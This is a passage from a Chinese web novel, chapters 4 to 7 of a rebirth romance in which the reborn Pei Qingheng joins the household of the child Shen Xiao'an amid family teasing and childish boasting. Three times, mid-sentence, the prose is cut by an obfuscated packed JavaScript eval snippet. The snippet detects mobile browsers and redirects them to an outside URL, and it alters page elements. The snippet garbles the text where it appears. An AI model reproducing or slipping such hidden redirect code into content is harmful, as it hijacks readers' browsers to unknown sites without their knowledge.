“娘亲,安安想快点让娘亲见到哥哥嘛~”沈小安笑着同林青梧撒娇道,说着又忙转头看向身旁的裴清珩,“安安忘了哥哥舟车劳顿会疲惫辛苦,对不起,安安同哥哥道歉,哥哥可不能生安安的气。” 说着道歉的话,却又撒娇的耍起了赖。 “哥哥不会生安哥儿的气。”裴清珩目光温柔,他怎么可能会生安安的气,他巴不得安安欣喜于他的出现。 林青梧见裴清珩目光温柔的看着安安,想起那年,快五岁的裴清珩也是这般宠溺的任由一岁的安安在他身上胡乱拉扯,嘴角的笑容不由加深。 林青梧正欲开口,沈慕风这时也走了过来,跟在二人身后的他,自然听到了方才沈小安和裴清珩的对话,当即就同自家夫人诉说自己的委屈。 “夫人,我原以为安安是来接我的,没想到,那是来接他的哥哥。可怜我一个老父亲,最后只能自己形单影只的回了府。” 听到这话,沈小安立马就朝自己娘亲撒娇辩驳道:“娘亲,爹爹骗人,分明是一同走来的。而且,方才爹爹又喊我沈小安,这头见了你才喊我安安,娘亲,你可不能信他的话。” “安安,事实胜于雄辩。”沈慕风目光扫过沈小安拉着裴清珩的手,走到林青梧的身边,故作委屈告状道:“我们的哥儿,太外向了。” 沈小安没听懂这话什么意思,但是他知道爹爹定是在说他不好,当下立刻反驳道:“爹爹胡说,什么辩辩,我可没和它比过。” 语落,顿时一片寂静,很快传来沈慕风毫不掩饰的笑声。 “沈小安啊,我还是给你请个夫子吧。” 这次沈小安听懂了,他闹笑话了。 沈小安涨红了一张小脸,想到旁边还有他的哥哥,立马摇晃着人的手,给自己解释道:“哥哥,安安很聪明的,什么都懂。悦来阁的嘉应子、乳糖圆子、桂花糕,味鲜楼的太古熏鸽、八宝鸭、水晶脍,云客茶楼的桃花酥、奶果子,还有咱们府外竹闻街上卖的糖葫芦,都是最最最好吃的。” 说完,沈小安觉得自己可厉害了,温哥儿可说不出这么多好吃的东西,当即挺起了胸膛,神情骄傲。 但没想到,他才说完,又是一片笑声。 这次,就连他的哥哥都笑了。 沈小安傻眼了。 他们不是应该夸他厉害,有文化吗? 4. 第 4 章 “你们笑什么呀!”沈小安被笑的有些羞愤的跺了下脚。 “沈小安,要不你还是叫吃吃吧,毕竟这个名字你可是名符其实。”沈慕风笑着打趣道。 闻言,沈小安也顾不得拉着裴清珩的手,当下跑到沈慕风的面前,叉腰,怒道:“爹爹,说好了的,我叫安安,什么吃吃,不许乱说。” 吃吃,沈小安原本的乳名。 自从三岁的沈小安知道了吃吃这名字源自于他从出生就特别贪嘴,别的小娃娃喝奶一天四五次,他倒好五次是打底,七八次也是常有的,明明不饿就是要喝,还因为喝奶喝多了,喝坏了身体,看了大夫。 只要是吃的他都想吃,三个月大就趁着大人不注意,抓着桌上糕点就想往嘴里塞。六个月能爬就晓得要往桌上爬,就因为桌上有好吃的。抓周宴上放着笔墨纸砚、珠钗玉佩、玩具荷包什么都不要,就抱着他吃饭的碗不放,喊着吃吃,吃吃。 对于已经知道要面子的沈小安,是绝对不允许有这等败坏他名声的乳名。 什么吃吃,他不认,他就叫安安。 裴清珩也是第一次知道,他的小夫郎竟然还有过另外一个小名,吃吃,很可爱。 沈小安说完话,转头偷瞄了眼自己的仙童哥哥,见人看着他在笑,一张小脸更红了,当即就拉起了自己娘亲的手,寻起了帮手,“娘亲,爹爹欺负人,分明我就叫做安安,并没有吃吃这个名字,你快说。” 沈小安绝对不允许,他那贪吃的名字被哥哥知道。 太丢人了。 “嗯嗯,是叫安安。”林青梧瞧着自家哥儿着急的模样,笑着应和道。 “爹爹,你看。”沈小安得意的看向沈慕风。 沈慕风挑眉,“沈小安,你周岁宴的时候,你哥哥就来看过你了。” 言外之意,你那乳名藏不住。 这次听懂了自家爹爹话里的意思,沈小安一双杏眼瞪的老大,不想去相信这个事实。 裴清珩也不由随着沈慕风的话,记忆翻飞,回忆那张更加稚嫩的面容。 上辈子活了四十二年的裴大丞相,四五岁的记忆实在有些久远了,目光看着同沈慕风闹起来的小小人儿,恍惚间,似乎曾经是有一双更小的手在他身上不断嬉闹,会拽扯他的衣领,会在他面颊上留下他的口水印子,对着他乐呵呵的笑着,抓着一块奶糕就往他嘴里塞,边塞边还说着吃吃,吃吃。 他以为他是让他吃东西,却没想到他这一声吃吃竟然还是他的乳名。 裴清珩忽然感觉这恍惚的记忆是如此的真实,他竟然真感觉到有人在拉扯他的衣服,低头,就看方才还与沈慕风闹腾的小人儿,眼下正拉着他的衣角,睁着一双杏眼,看着他。 “哥哥,关于周岁宴我完全没有印象,你是我的哥哥,以后也同娘亲一样叫我安安吧。”沈小安仰着大大的笑颜说道,眼里却是有些心虚,摆明是打算一幅我不记得那就是没发生,主打先下手为强。 裴清珩看着人心虚的样子,抬手轻轻抚过哥儿的发顶说道:“好。” 而一边的沈慕风正和林青梧打着眉眼官司,眼里都写着,看!沈小安在耍无赖呢。 林青梧笑容温柔,看着沈慕风,笑的愈发和善。 沈慕风却觉背后一凉,赶忙讨好一笑。 是他太高兴了,忘了家庭地位,夫人可莫要赶他去外间睡啊。 林青梧又问了裴清珩一些日常琐事,重点关心了他的学习,问了他是否愿意去书院读书。 裴清珩本就决心走仕途一道,只有手握权柄,方才能护人周全,予人圆满一生。 “伯母,清珩想要去书院继续学业。”裴清珩认真说道。 林青梧见人眼里的决心,笑道:“南竹县里最好的书院是竹鸣书院,书院有三名秀才夫子,待你日后考取了功名,便可去上阳府的府学上学,府学的山长乃是进士出身,学识渊博。” 裴清珩看着林青梧,上辈子她也是如此同自己说道,同样隐去了若要去府学上学,他这外籍学子,除了功名亦是需要关系,而这关系便是昔年林青梧做下的恩情。 上辈子他直到考中了进士,方才知道当初为了送他去府学,林青梧花了多大的人情。 若是有这人情在,当初沈慕风也不至于被博州沈家牵累如此至深,家业散尽才保下一命,即便他入朝为官,林青梧亦不曾将这事说出来。 可惜的是,这世道好人难有好报,反倒是坏人却能平安顺遂,富贵一生。 裴清珩敛下心中思绪,拱手作揖,认真道:“清珩定不辜负伯母安排。” 沈慕风坐在太师椅上,面上已不见方才嬉笑模样,看着裴清珩,正色道:“自古士农工商,士为第一,若有功名在身,世人将不敢轻看,不敢妄言。” 裴清珩对上沈慕风的目光,毫不掩饰自己内心的欲望,“伯父所言,亦是清珩心中所想。” 从始至终,沈慕风和林青梧送他读书,考取功名,所求的不是什么功成名就,改换门庭,不过是想要他有保护自己的能力。 不畏家族权利,不惧世道所言。 是他上辈子一叶障目,自觉聪慧,入朝为官,势要做那为民请愿的清官,成那史书中大公无私的好官。 少时,沈慕风曾同他说过,人这一辈子,自私又如何,对得起自身,对得起为自己好的人,不存那害人的心就足矣。一味追求清白的人啊,只能委屈自己,委屈真正为他好的人。 他们不过是食五谷的普通人,当不起圣人,更做不起圣人。 四书五经,科举选拔,是寒门子弟升迁路,亦是上面之人掌权的手段,让世间之人混沌其中,再不做他想。 如同,上辈子的他。 后来,他明白了,恍悟了,却也太迟了。 沈小安在哥哥和爹娘之间来回看了几眼,作为小文盲的沈小安讨厌任何关于书院的字眼,也很有自知之明的不去迎合任何关于学问的话语,咬了一口手里的糖葫芦,拉住裴清珩的手,待将口里的糖葫芦咽下去,才开口说道:“哥哥,我带你去你屋子看看吧。” “好,就让安安先将哥哥带去屋中看看,放好东西就过来,娘亲准备了好吃的,为你爹爹和哥哥接风洗尘。”说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702555|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林青梧看向裴清珩,笑道:“清珩,你去看看,若有什么东西缺了,你且同你伯母说,切勿客气。” 未等裴清珩开口,听到有好吃的,沈小安当即欢呼出声,“好耶。” “劳烦伯母,为我之事操劳。”裴清珩不好意思道。 “安安既喊你哥哥,你便如同我半个儿,为你操劳是我情愿,又何谈劳烦。”林青梧说道,眉眼温柔慈爱。 话落,一旁的沈小安再一次抢先开口。 “哥哥,有东西缺了,你也可以来找安安的,安安就住在你对面哦。”说着,沈小安看着裴清珩的目光更是亮着光,眼里分明在说,哥哥要来找安安玩啊。 作为自己生的哥儿,沈小安的心思自然被林青梧看的明白,打趣的睨了沈小安一眼,笑着同裴清珩说道:“我们宅邸是个四进宅院,安安住在内院西厢房,你且先住在安安对面的东厢房。” 原本,她是想将裴清珩安排在外院的东厢房中,毕竟安安是哥儿,裴清珩是郎君。奈何安安闹着一定要将哥哥安排在对面空着的东厢房中,眼下二人年纪尚小,有着院门做为阻挡,住在一个院子倒是无妨,待到了安安八岁,裴清珩十二岁了,安安再不愿,也必须分院而住。 沈小安感受到自个娘亲投来的目光,心虚的立马转过了眼,他才不承认前两日闹着在地上打滚的是他安安。 娘亲说了,在他八岁前,哥哥都能和他住在一个院子,等他八岁的时候,他就不能和哥哥住在一个院子里。 沈小安觉得没问题,反正哥哥现在和他住在同一个院子,等到哥哥要搬出去,那也是八岁的沈安该操心的事情。 四岁的沈小安,笑的没心没肺。 沈小安拉着裴清珩的手,边走边给人介绍,介绍的细心,连家中哪棵树掉的叶子最多都不忘说起,当然说的最多的是便是自个府里做的那些吃的。 “哥哥,待会晚膳,定会有虾茸蒸蛋,五香仔鸽,红烧大肘子。胡师傅做的大肘子可好吃了,比外头馆子里的都好吃,我可喜欢了,但胡师傅说这菜做起来复杂的很,需要九九……八?九?”沈小安小脑袋瓜子记不住,也不觉得丢人,举起自己的小手,画了好大一个圈,“反正,要好长好长时间才能做出来。” 裴清珩笑着配合,惊讶道:“原来这么麻烦,如此我定要好好尝尝安安推荐的大肘子。” 不用想,便知这话是林青梧授意,怕安安贪吃,吃多了油腻的东西,吃坏了肚子。 “那可不是,待会我要给哥哥夹一个最大的大肘子。”沈小安拍了拍自个小胸膛,哥哥给他带了好吃的糖葫芦,他可不是个护食的,他要给他哥哥最大的大肘子。 想到大肘子,就想到大肘子外面的皮,吸溜一下,最是满足了。沈小安只觉得自己肚子好饿,口水泛滥,下意识的就吞咽了下,免得自己口水流下来。 裴清珩看着小哥儿馋猫样子,眉眼带笑,“哥哥迫不及待的想要尝尝安安说的好吃的大肘子。” “哥哥,我也是。”沈小安亮着一双眼,连连点头,心里不禁感叹着不愧是他的哥哥,想的都是一样的。 5. 第 5 章 沈小安一只手拿着糖葫芦吃的愉快,一只手拉着小哥哥的手,一张脸笑的比花都灿烂。 一路上,沈小安的嘴就没停下来,原本十分钟的路程,硬生生被他走出了二十多分钟才走到了屋前,跟在二人身后抱着东西的下人也在主子们进去的同时,才得以将手上的东西放到了桌子上,恭敬的退了出去。 “哥哥,我有礼物要给你。”沈小安说着就先将手上吃的只剩下两个的糖葫芦交给裴清珩拿着,自己屁颠颠的跑去了一旁的书桌上,一双小手捧着一方砚台,又急匆匆的跑了回来,笑呵呵的递给裴清珩,“我本想送哥哥那罗市上买到的小木马,可娘亲说哥哥好学问不若送笔墨纸砚,我便用了我的零花钱让人做了这砚台。” 说着,沈小安低头就是一笑,献宝似的指着砚台边上刻着的两个小人。两个小人明显在嬉闹,大的护着小的,身后是树,树下挂着一方秋千,很像是外头院子的景色,整体是一副悠闲欢闹的场景。 “店里买的砚台不是刻着松柏竹子,就是什么山山水水,看着就好老气,给哥哥用哪里适合。”沈小安嫌弃的撇了撇嘴,忽又笑的灿烂对上裴清珩的目光,骄傲的挺起了胸膛,“所以我便让人刻了这个,大一点的人是哥哥,小的就是我。”说完,还有些不好意思的躲开了裴清珩的目光,耳垂染上了点红。 他还问娘亲要了他的压岁钱,花了快十两银子,不知道哥哥会不会喜欢? 沈小安又期待又忐忑。 裴清珩不知道自己此刻是什么心情,当看清沈小安手里的东西,心脏深处只觉有一双手狠狠拽紧了他的心脏,很疼并泛着涩意。 上辈子的他,到底错过了多少。 上辈子看到这方砚台之时,已是沈慕风被博州沈家所牵连,没收了家产,封了宅邸。等他考取了功名从上京赶回来之时,沈宅的牌匾早已摔成了两瓣,不知被多少人踩踏过。而在这牌匾之下,是一块已碎成了数块的砚台,两个小人碎成了三瓣,唯有那个秋千还算完整。 那时,他并未放在心上;如今,只觉酸疼不已。 他的小夫郎从一开始便是欢喜于他的到来,更甚至再还未见到他之时,便是期待着他的到来。 而他在不经意中不知辜负了他多少的喜悦。 裴清珩将万千思绪尽数拢在了心底,嘴角上扬,眉眼里是藏不下的温柔,伸出手接过那方砚台,仿若是端着什么珍宝一般,双唇微启,“安安,我很喜欢,非常非常喜欢。” 四岁的沈小安看不懂裴清珩那墨黑瞳孔之下藏着多少暗涌,只是欢喜与自己的礼物被人喜欢,高兴又有些羞涩的扭捏道:“哥哥喜欢就好。” “我也有礼物送给安安。”裴清珩笑道。 闻言,沈小安迅速仰起头,眨着双眼,眼里全是期待和喜悦,看着人忙问道:“哥哥给安安准备了什么?” 裴清珩笑着从自己怀中掏出一枚护身符递到安安眼前,“这是哥哥为安安求来的护身符,愿上天能护佑安安平安顺遂。” 上辈子是安安替他求来了菩提珠串护他平安,这辈子换他为他求来护身符求一份安康。 “护身符?”沈小安瞧着裴清珩手中小小的东西,他看懂了上面写着的平安二字,可周边一圈却是他完全看不懂的文字,倒是上面那一颗月白色的小珠子颇为好看。 “护身符是世人为其重要人向上天求的一份护佑,唯愿其安康顺遂。”裴清珩解释道,弯下腰,将护身符戴在了沈小安的脖颈上,双眸含笑对上沈小安的眸子,话语出口却是十分认真。 “安安,能不能答应哥哥一直戴着它?” 沈小安不明白哥哥明明是问自己能不能佩戴平安符,可为何却已经将护身符戴在自己脖子上了。 沈小安不懂,但是他喜欢哥哥给他准备礼物的感觉,而且哥哥还这么温柔的对自己说话。 不就是戴护身符,还是哥哥给自己求来的,他要戴! 沈小安乐呵呵的笑开了嘴角,右手抬起,握住挂在自己脖子上的平安符,笑道:“哥哥给的,安安一定会戴的。” “嗯,拉勾。”裴清珩伸出自己的小拇指。 沈小安见状立马也伸出小拇指勾住裴清珩伸出的小拇指,边晃着手边说道:“拉钩上吊一百年,谁反悔谁就是狗狗。” “安安可不能当狗狗哦。”裴清珩看着人,墨色的瞳孔之下隐隐聚起几分暗色。 “不会哒。”沈小安自信满满的拍了拍自己的胸膛。 哥哥真的想太多了,他怎么会舍得不戴。这可是小仙童哥哥送他的礼物,明日他还要带哥哥去给温哥儿看,让他知道他也有哥哥了。 沈小安一想到明日温哥儿知道他也有哥哥的时候,那一脸诧异惊讶他就想笑。 谁没有哥哥。 他哥哥还长得这般好看。 是他,安安,赢了! 裴清珩看着沈小安翘嘴偷笑的模样,清冷的眉眼此刻也如春日般的和煦。 他的小夫郎,从小到大都是那么简单纯粹,像个小太阳。 裴清珩不由伸出手,轻轻捏了捏沈小安因为笑容而鼓起的小奶膘,手感果然如他所想一般,软绵绵,好捏。 “哥哥?”沈小安感受到自己的小脸颊被人轻轻捏了捏,仰起头,疑惑的看向裴清珩,忽然又福至心灵的灿烂一笑,“娘亲也爱捏安安的小脸颊,说安安的脸颊最软了,哥哥是不是也是这么觉得。” “嗯,安安的脸颊最软了。” 沈小安骄傲了,很是大方的挥了挥手,“哥哥是安安的哥哥,哥哥如果想捏,安安不会拒绝哒。” “多谢安安。”裴清珩唇角微扬。 “不客气哒。”大方的沈小安大气说道,他就知道谁能拒绝他这么好看可爱的哥儿。 啊~他就是说书人口中的那什么祸水。 勾的他哥哥,没见到他都给他求了护身符。 沈小安骄傲了,害羞了,更是洋洋自得了。 这状态直到去用晚膳,都没有消散。 “发生什么了?你怎笑的如此奇怪。”沈慕风瞧着自家哥儿从进来到现在,嘴角都没下去过,不由好奇问道。 沈小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702556|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安用着‘我怎么这么可爱’的眼神看向沈慕风,“爹爹,你觉得安安如何?” “什么如何?”沈慕风没明白,但以他对自己哥儿的了解,这思想指不定在想什么离奇的东西。 沈小安心累了,他爹爹怎么这么笨,还说他笨,要不是因为他是他安安的爹爹,他都不想说话了。 沈小安转头,拉住了坐在他旁边的裴清珩的衣袖,笑的灿烂,“哥哥,你觉得安安如何?” 裴清珩也不明白沈小安为何这么问,但以他对上辈子小夫郎的了解,想了想,启唇一笑道:“安安很可爱,是我见过所有小哥儿中最可爱的。” 上辈子,小夫郎就爱听他说好话,夸他好,每每听到他如此说,便是得意的扬起下巴,仿佛在说你知道就好,我就是这么好。 很是可爱。 沈小安听到哥哥这么说,当即笑的更灿烂的,得意的撇了眼自己爹爹,那目光好似在说,你看看,还不快表示表示。 这下完全理解沈小安行为的沈慕风,无语又想笑。 他家哥儿太自恋了。 沈小安目光虽没有朝沈慕风看去,可那晃动的小脚丫,分明是在等着自家爹爹夸他,然而……等了好一会,爹爹都没有开口,有些生气的鼓起了小奶膘。 林青梧没好气的瞪了一眼自家爱逗哥儿的夫君,又看向自己哥儿,笑道:“安安自然是最可爱的。” 听到自己最爱的娘亲也这么说,沈小安笑的更骄傲了,好似马上都要飘上天了,得意说道:“安安觉得,安安就是那祸水,美美的。” “我觉得你就是那水仙花。”沈慕风揶揄道。 “花?水仙花?”沈小安不认识水仙花,但他知道花是香的好看的,当下给了自家爹爹赞许的目光,“爹爹知道就好。” 这话逗的林青梧都捂嘴笑了起来,裴清珩嘴角也情不自禁上扬。 四岁的沈小安同样开心的乐开了嘴角,等到他心心念念的大猪蹄端上了桌,迫不及待的就想夹起一块给自己哥哥,奈何他小短手夹不住,也夹不起,气的嘟起嘴。 林青梧朝身边伺候的人看了一眼,那人收到目光,当即上前笑的向沈小安问道:“小公子,让奴婢替你将这猪蹄分成小块,如何?” “翠岚,要大块的,大大的给哥哥。”沈小安看向人,很是认真的说道。 “好的,小公子。”翠岚笑着应道,将桌上大猪蹄分成了好几块。 沈小安见翠岚还要再分,要把那一圈浸满了卤汁的皮剪断,连忙站起来,整个人靠在桌边,急急喊道:“不能分了,这个大的要给哥哥。” “沈小安,你怎么不说给你爹爹我?”沈慕风挑眉道。 “爹爹,你都不知吃过了多少回了,我答应哥哥要让哥哥尝尝看。”说罢,沈小安无奈的叹气一声,“爹爹,你要懂事了。” 说完,沈小安走到沈慕风旁边,伸出手,轻轻拍了拍沈慕风的肩膀,很是语重心长道:“安安是喜欢爹爹的,但爹爹要乖。” 小小的小娃儿故意做着长辈的模样,可爱又惹人发笑。 6. 第 6 章 沈小安一颗心都在自己的哥哥身上,有什么好吃的第一时间就要让哥哥尝尝看,夹不到的,就让翠岚帮忙夹过来,一顿饭就属他最忙。 “安安是真的好喜欢哥哥啊。”林青梧看着沈小安不禁感叹道,她也是第一次见自己哥儿如此喜欢一个人。 “对呀。”沈小安理所应当的点头,笑的灿烂,他就是那么喜欢哥哥。 裴清珩目光触及那一双弯起的眉眼,耳畔处传来的声音,恍惚间,似是重叠了记忆中,流水河畔,华灯月下,也是有人提问,也是这一句理所应当的答话。 “公子,要来放灯吗?” “要的。”少年声音明媚,眉眼璀璨,“婶子,不知您这荷花灯多少钱,我要两盏。” “荷花灯十五铜板一盏,是公子要和心上人一起来放灯吗?” “是跟我未婚夫,听说七夕放荷花灯能得到祝福,趁着他去买糖葫芦,我便过来买两盏。” “公子定是很喜欢您的未婚夫。” “对呀!”少年回的肯定,随即又理所当然道:“他也最喜欢我了,我们这叫做青梅竹马,两情相悦。” “安安说的没错。” “哥哥。”少年转身,笑容夺目。 裴清珩从回忆中回过神,看向眼前那张稚嫩的容颜,眸光温柔。 “我也喜欢安安。” 话语出口,心间柔软,漫着悔意与心疼。 还好他们,还有机会。 沈小安听到哥哥这么说,开心的又晃荡起了双腿,面上更是得意的很。 他就知道,这么可爱的他,谁能不喜欢。 果然,他就是那美美的祸水! 用完膳,沈小安本还想着帮哥哥一起收拾东西,奈何四岁的小娃娃懂什么收拾,不等沈小安开口,十分了解沈小安的林青梧就先开口让人别去打扰哥哥休息。 沈小安不高兴,他就是为了让哥哥快点休息去帮忙,怎么是打扰呢。 裴清珩明白林青梧是想自己好好休息,但他也不舍得沈小安生气,当即温声同沈小安说道:“安安,哥哥今日有些累了,不知安安明日可有空?” “有空的,安安有空的。”沈小安连忙点头应道,拉过裴清珩的手,“哥哥,明日安安带你去见温哥儿,你不知道温哥儿常常说自己哥哥有多好,会带温哥儿玩,会给温哥儿买糖葫芦,我想让温哥儿知道我也有哥哥了,比他哥哥要好得多!” 说到糖葫芦的时候,沈小安有些心虚的转了下眼珠子,他绝对没有暗示哥哥要给他买糖葫芦,绝对没有! “如璋给温哥儿买好吃的,也不少给你带,时常也会带你一同出去玩,若是他听到你这般说,可得伤心了。”一旁的沈慕风打趣道。 “爹爹,我没说如璋哥哥不好,你别乱说。”沈小安转过头急急反驳道,“但如璋哥哥是温哥儿的哥哥,不是安安的,不一样的。” “行了,别再逗安安了。”林青梧用胳膊顶了顶沈慕风的手。 “夫人就是偏爱安安。”沈慕风故作委屈的撇了撇嘴。 “安安可比爹爹可爱多了,娘亲自然是更喜欢安安。”沈小安说的理所应当。 沈慕风很想说,你这叫做自恋!但他怕被自己夫人事后教训,只得微笑面对。 沈小安可不懂沈慕风眼里的意思,只当是爹爹认同了自己的话,当下更是高高扬起了下巴。同裴清珩约好了明日他要来找他,这才顺着自己娘亲的话,让自己的侍从沈竹带他回去休息。 旦日,一早。 沈小安起床,被人伺候的穿好了衣裳,就迫不及待穿过院子去找哥哥,没想到哥哥屋子里没有人,以为是在正厅用早膳,却没想到也没碰到人,当下就着急了起来,生怕自己好不容易得来的哥哥被那小气的神仙又收了回去,一双杏眼都急的红了起来。 “小公子莫急,或许裴少爷是在老爷那边。”沈竹见自家小主子急红了眼,连忙出声道。 “竹竹,我们去找爹爹。”沈小安说着就朝正屋方向跑去。 沈竹本想劝说沈小安用了早膳再去,可见沈小安如此心急,便也不再开口,忙跟上去,免得小主子因为着急,跑步受伤。 林青梧正坐在院子里的竹椅上听着翠岚汇报家中开支,眼角余光撇见有一道身影匆忙跑过来,愣了下却也马上明白过来,笑着同那身影招了招手,“安安,莫急,哥哥在同爹爹说话呢。” 听到娘亲说话,沈小安着急跑步的步伐这才缓了下来,走到林青梧面前,嘴角一撇,神情委屈,“娘亲,我还以为昨日是我在做梦,安安并没有等来哥哥。” 沈小安丝毫没察觉,若昨日是假的,沈竹为何会说出裴少爷的话来。 林青梧拿出手帕轻轻擦拭哥儿因为跑步额间渗出的汗水,又好笑的戳了戳哥儿的额头,“安安这是担心则乱。” “娘亲。”沈小安拉着林青梧的衣袖撒娇道。 “好好好,娘亲不说。”林青梧笑道,“早膳可用过了?” “啊?”沈小安这才想起自己没有用过早膳,手摸了摸自己肚子,这才觉得有些饿了,在自己娘亲的注视下,有些不好意思的红了面颊。 沈竹走上前,恭敬的朝林青梧问道:“夫人,我让人将小公子早膳拿过来?” “嗯。”林青梧点了点头,遂又看着沈小安笑道:“哥哥同爹爹有话讲,娘亲陪你一同用膳,顺便等哥哥出来,如何?” “好哒。”沈小安笑着点了点头。 果然等他快用完膳了,在书房谈话的人这时候也说完了话,走了出来。 不等沈小安开口,沈慕风见到自己小哥儿竟然在自己院中用膳,立马就明白了过来,打趣道:“沈小安,你是来等爹爹对吧,哎呀~我家哥儿就是喜欢爹爹。” 沈小安本来想同自己哥哥诉说自己在等他,没想到却被自己爹爹抢先了去,怕哥哥听了爹爹的话当了真,会失望,连忙站起来,走过去,拉住哥哥的手,解释道:“哥哥,不要生气哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702557|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,安安是来找哥哥的。” “嗯,哥哥没有生气,哥哥见到安安很高兴。”裴清珩笑容温柔 。 “安安见到哥哥也很开心。”沈小安说的大声,或许是因为昨日的相处,此时说起喜欢更没有什么扭捏,说的大声,说的理直气壮。 一旁被忽视的沈慕风,只觉得有些心梗,又暗喽喽的凑到林青梧的面前,拉住林青梧的手,神情委屈,“夫人,安安竟然无视了他的爹爹。” 一幅我委屈,但我不说的可怜模样。 林青梧见状,不由笑着抬起另外一只手放在了沈慕风拉扯着她的手上,笑道:“夫君放心,我的眼里从来都有你。” “夫人。”沈慕风感动了,坐在了椅子上,还不忘朝人凑近了几分,大手包裹住那双纤细的手,“还好有夫人你。” 林青梧笑看着沈慕风,说安安惯爱撒娇讨好,也不知是学了谁。 知道哥哥早已用完早膳,沈小安吃完了最后一口粥,正准备将自己剩下来的最后一块如意糕吃完,眼角余光瞥见了坐在一边的沈慕风身上,伸出的手就这么转了回来,转头就朝裴清珩说道:“哥哥,我带你去认识我的好朋友好吗?” “好。”裴清珩笑着点头。 听到哥哥说好,沈小安立马走过去,拉住哥哥的手,“爹爹,娘亲,我带哥哥去找温哥儿玩。” 说着话呢,人就牵着哥哥的手,朝外头走去。 沈慕风有些没眼看自己哥儿心急的模样,但眼底却是满含宠溺。 林青梧也笑着夹起桌上唯一剩下的如意糕,递到了沈慕风的嘴边,笑道:“你哥儿特意给你留的一块,这可是不容易,不尝尝?” “能从他手里要一份吃的,可是不易。”说着,沈慕风就张嘴直接就着林青梧的手咬了一半走,等把这半块咽下去,微眯着双眼,神情自得,“还好,还没忘了他爹我。” “你呀,都做爹了还同孩子一般。”林青梧笑看着眼前俊秀的男人。 沈慕风忽然抬手握住了林青梧的手,双眸对上那双杏眼,杏眼明媚,含笑带情。 “只要夫人不嫌,便就好。” 微风徐徐,阳光温暖。 而另一边,许宅小院中,两个五短身材的小奶娃正在激烈的要分个输赢。 “我哥会给我买糖葫芦吃,会给我礼物,是最好的哥哥。”沈小安抬起下巴。 “这算什么,我哥还给我当过小马,会替我出气,会在小爹说我的时候替我挨骂。”许温说的可得意了。 “我……我哥厉害的满肚子都是学问。”说完,沈小安还拍了下自己圆滚滚的肚皮。 “我哥才叫满肚子都是学问,他早已熟读四书五经。” “我哥才是最厉害,我哥已经能熟读七书八经。” 许温话到嘴边突然戛然而止,觉得有什么不对,想了想,认真道:“安安,没有七书八经,只有四书五经。” 沈小安眨眼:完了,又暴露自己文盲了? 7. 第 7 章 对上许温认真的目光,沈小安心虚,打死不承认自己又文盲了,决定扯开这个问题。 “温温,我叫安安,不是什么沈小安。”沈小安一招顾左右而言其他。 许温嫌弃道:“什么温温,叫我温哥儿,嗡嗡的,你当是叫蚊子吗?” “哼~反正我哥最厉害了,而且长得还最好看!”见话题岔开,沈小安又理直气壮了。 “我哥才好看!比你哥哥好看多了,十里八乡他最好看了!”许温也不服气,双手叉腰。 “胡说,我哥才是十里八乡最好看的!” “才不是,我小爹说了,待我哥长大了,那都是要被人抢去做夫婿的。”许温洋洋得意。 “我娘也说了,我哥好看的现在就有人要将他抢去做夫婿。”沈小安一本正经说着瞎话。 “我哥好看的都被抢去做了好几次夫婿了。” “我哥每天都被抢去做夫婿!” 越说越离谱,越离谱越说。 两个小奶娃激烈辩论,站在小奶娃身后的两个少年则面面相觑,耳边传来的话语则是越来越荒唐。 “我哥好看到大雁都吃惊的掉下来,要嫁给他!”许温说的理直气壮。 许如璋瞳孔一震,弟,沉鱼落雁不是这么运用的。 “我哥好看的连凉水铺子里的大狗都要嫁给他!”沈小安不甘示弱。 裴清珩面色一怔,他听到什么了?什么玩意? “凉水铺子的大狗阿黄不是公的吗?公的你哥也要?”许温好奇。 沈小安眨眼,啊?公的吗?公的不能要? “是大狗要嫁给我哥,我哥可没说要。”沈小安理不直气也要壮。 许温对大狗嫁不嫁没兴趣,他只在意他的哥哥必须天下第一好。 许温扬起下巴,“我哥好看到我小爹生怕我哥被人轻薄了去。” “如璋哥哥被人轻薄了?”沈小安好奇提问。 许如璋刚要说没有,许温却是立马开口迎上,神情骄傲的很,“想要轻薄我哥的数都数不清。” 许如璋身躯一震,不敢置信的看向自己的弟弟,他弟弟到底在说什么狂言妄语。 “胡说,轻薄我哥的肯定比轻薄你哥的多。”沈小安不甘示弱。 裴清珩惯常清冷的面色都有些裂开,这真的没必要争。 许如璋神色却是松快一些,还好,有人作陪。 许如璋朝裴清珩看去,恰好碰上裴清珩看来的视线,两股视线碰在一起,协议就此达成。 裴清珩:“安安。” 许如璋:“温哥儿。” 二人刚准备开口打断这荒唐的争论,然而…… “哥哥,你说,谁多。” 沈小安和许温齐齐转头看向自己的哥哥。 “是不是你多!” 二人再次异口同声。 裴清珩、许如璋下意识指向对方,异口同声道:“他多。” 